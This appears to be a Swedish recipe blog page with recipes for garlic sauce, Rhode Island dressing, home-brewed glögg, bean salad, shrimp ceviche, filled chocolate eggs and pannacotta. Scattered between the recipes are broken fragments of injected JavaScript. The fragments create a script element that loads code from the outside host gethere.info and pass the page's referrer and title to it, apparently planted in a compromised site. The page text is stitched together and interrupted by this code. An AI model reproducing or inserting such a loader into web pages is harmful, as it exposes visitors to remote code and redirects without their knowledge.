Kall vitlökssås

Den här såsen är riktigt god till sallader, fisk och skaldjur samt som dippsås till grönsaker och chips.

 

1 liten burk creme fraiche
2-3 msk majonnäs
1 pressad vitlöksklyfta
Lite salt och peppar

} else {

Rhode Islandsås

Den här såsen passar perfekt till salladsdressing, kycklingnuggets, fisk och skaldjur. Såsen är också god som dipsås till råa grönsaker eller pommes.

4 portioner
1 dl vispgrädde eller gräddfil.
1 dl majonnäs
1 1/2 dl chilisås
1 kryddmått slat
Lite tabasco, sherry eller konjak
1 1/2 dl finhackad pabrika (kan uteslutas)
1-2 msk finhackad persilja (kan uteslutas)

Rör ihop allt i en skål och smaka av med lite salt och ev ett par droppar Tabasco och sherry eller konjaj. Lite finhackad röd paprika och persilja kan ev blandas i såsen.

if (document.currentScript) {

Mias goda Glögg

Nu har jag precis gjort iordning en hink med glögg som står på jäsning.
Här kommer ett recept på en god glögg som smakar underbart gott.
5 liter svagdricka
2 1/2 kg socker
0,5 hela kryddnejlikor
1 bit ingefära
1 liten påse hel kardemumma
1/2 kg russin
5 skalade och skivade potatisar (fast)
50 gram jästBlanda ingredienserna i en spann.
Under en veckas tidd skall du dagligen röra om i spannen.
Låt den därefter dra i två veckor.
Sila och häll upp.

d.getElementsByTagName(‘head’)[0].appendChild(s);

God bönsallad

Den här bönsalladen är både mättande och god. Perfekt att servera till kyckling, kött eller fisk.

Recept 2 personer
1 burk vita bönor
1 gul paprika
1 röd paprika
Salladslök
En bit gurka
Cocktailtomater
1 avokado

Skär upp allt och lägg i en skål. Häll på en god olivolja med lite citron och häll på lite salt.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Macarons

Vill ni pröva att baka Macarons? Receptet hittar ni här.

}

Goda Räkceviche

De här är bland de godaste räksnacks jag gjort och marinaden är sååå god.

1/4 röd paprika
1/3 chilifrukt (t ex spansk peppar)
1 skalad vitlöksklyfta
1 salladslök
rivet skal från 1/2 sköljd lime och 1/2 sköljd apelsin
1/2 dl olivolja
saltoch nymalen svartpeppar
200 g skalade räkor (500 g med skal)

Gör så här:
Hacka 1/4 röd paprika i små tärningar. 2. Finhacka 1/3 chilifrukt (t ex spansk peppar), 1 skalad vitlöksklyfta och 1 salladslök. 3. Blanda allt i en skål. Tillsätt rivet skal från 1/2 sköljd lime och 1/2 sköljd apelsin. Rör i 1/2 dl olivolja och juicen från limen. Smaka av med salt och nymalen svartpeppar. 4. Lägg i 200 g skalade räkor (500 g med skal) och låt marinera i ca 20 minuter. 5. Trä upp på tandpetare eller cocktailpinnar.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Chokladägg med spännande fyllning

Vad säger ni om det här ägget? Kul att bjuda era middagsgäster på något annorlunda.

För att göra ett sådant ägg behöver du:
4 Kinderägg
Vit chokladmousse
1 burk Semper mangopure

Vit chokladmousse (4 port)
150 gram vit choklad
1 äggula
2 dl grädde

Gör så här:
Börja med att smälta chokladen i ett vattenbad.
Vispa under tiden upp äggulan.
Låt den smälta chokladen svalna något, tillsätt den sedan i den uppvispade äggulan, lite åt gången. Rör till en jämn och glansig smet.
Vispa grädden hårt och vänd i chokladsmeten.

Ta en kniv och skär upp ägget och ta bort leksaken som finns i Kinderägget. Lägg i vit chokladmousse ända upp till toppen. Ställ äggen i en äggkartong och in i kylen tills moussen har stelnat (ca 1 tim). Ta en liten sked och gröp ut innehållet mitt i ägget och häll i en sked mangopuré.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

God köttfärssås

Jag har provat på en massa olika recept på köttfärssås men här kommer en av mina favoriter.
Receptet hittar ni här.

var d=document;var s=d.createElement(‘script’);

Remouladsås

Här kommer ett enkelt och gott recept på en remouladsås som passar perfekt till fisk. Jag Stekte panerad fisk med potatismos och remouladsås.

Tillagning:
Häll 1 dl majonnäs,1 1/2 dl gräddfil ock 1 msk svensk bordssenap i en skål. Tillsätt 1/2 dl bostongurka 1 msk hackad kapris. Rör samman ock låt såsen stå ock dra minst  en halvtimme före serveringen.(4 port.)

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Mjölkchokladpannacotta

Antal portioner:  4
Mjölkchokadpannacotta
2dl vispgrädde
2msk socker
100 gmjölkchoklad
0.75 stgelatinblad

Gör så här:
Blötlägg gelantinbladet i en skål med vatten i cirka 5 minuter. Koka undertiden upp grädde och socker. Ta bort kastrullen från värmen och låt stå 10 minuter under lock.
Ta upp gelantinbladet och krama ur vattnet. Lägg ner det i den varma grädden och rör om så att det smälter.
Hacka chokladen och lägg i bunke. Häll över den varma gräddblandningen och rör om väl. Häll upp i 4 koppar eller glas och ställ dem kallt i kylen cirka 3 timmar tills de stelnat helt. Servera med färsk frukt, gärna hallon.

                           

if (document.currentScript) {